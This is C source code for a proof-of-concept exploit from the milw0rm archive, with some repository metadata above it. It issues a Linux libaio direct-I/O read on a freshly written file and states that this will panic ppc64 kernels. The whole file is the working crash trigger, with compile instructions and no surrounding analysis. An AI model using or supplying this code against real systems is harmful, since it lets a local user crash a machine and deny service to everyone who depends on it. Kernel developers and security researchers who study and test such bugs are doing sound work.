477bcbdcc0
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106 lines
1.9 KiB
C
Executable file
106 lines
1.9 KiB
C
Executable file
//
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// Proof of Concept by Daniel McNeil
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// compile using cc -o aiodio_read aiodio_read.c -laio
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//
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#define _XOPEN_SOURCE 600
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#define _GNU_SOURCE
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#include <unistd.h>
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#include <stdlib.h>
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#include <stdio.h>
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#include <string.h>
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#include <errno.h>
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#include <sys/fcntl.h>
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#include <sys/mman.h>
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#include <sys/wait.h>
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#include <sys/stat.h>
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#include <libaio.h>
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int pagesize;
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char *iobuf;
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io_context_t myctx;
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int aio_maxio = 4;
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/*
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* do a AIO DIO write
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*/
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int do_aio_direct_read(int fd, char *iobuf, int offset, int size)
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{
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struct iocb myiocb;
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struct iocb *iocbp = &myiocb;
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int ret;
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struct io_event e;
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struct stat s;
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io_prep_pread(&myiocb, fd, iobuf, size, offset);
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if ((ret = io_submit(myctx, 1, &iocbp)) != 1) {
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perror("io_submit");
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return ret;
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}
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ret = io_getevents(myctx, 1, 1, &e, 0);
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if (ret) {
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struct iocb *iocb = e.obj;
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int iosize = iocb->u.c.nbytes;
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char *buf = iocb->u.c.buf;
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long long loffset = iocb->u.c.offset;
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printf("AIO read of %d at offset %lld returned %d\n",
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iosize, loffset, e.res);
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}
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return ret;
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}
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int main(int argc, char *argv[])
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{
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char *filename;
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int fd;
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int err;
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filename = "test.aio.file";
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fd = open(filename, O_RDWR|O_DIRECT|O_CREAT|O_TRUNC, 0666);
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pagesize = getpagesize();
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err = posix_memalign((void**) &iobuf, pagesize, pagesize);
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if (err) {
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fprintf(stderr, "Error allocating %d aligned bytes.\n",
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pagesize);
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exit(1);
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}
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err = write(fd, iobuf, pagesize);
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if (err != pagesize) {
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fprintf(stderr, "Error ret = %d writing %d bytes.\n",
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err, pagesize);
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perror("");
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exit(1);
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}
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memset(&myctx, 0, sizeof(myctx));
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io_queue_init(aio_maxio, &myctx);
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err = do_aio_direct_read(fd, iobuf, 0, pagesize);
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close(fd);
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printf("This will panic on ppc64\n");
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return err;
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}
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// milw0rm.com [2005-04-04]
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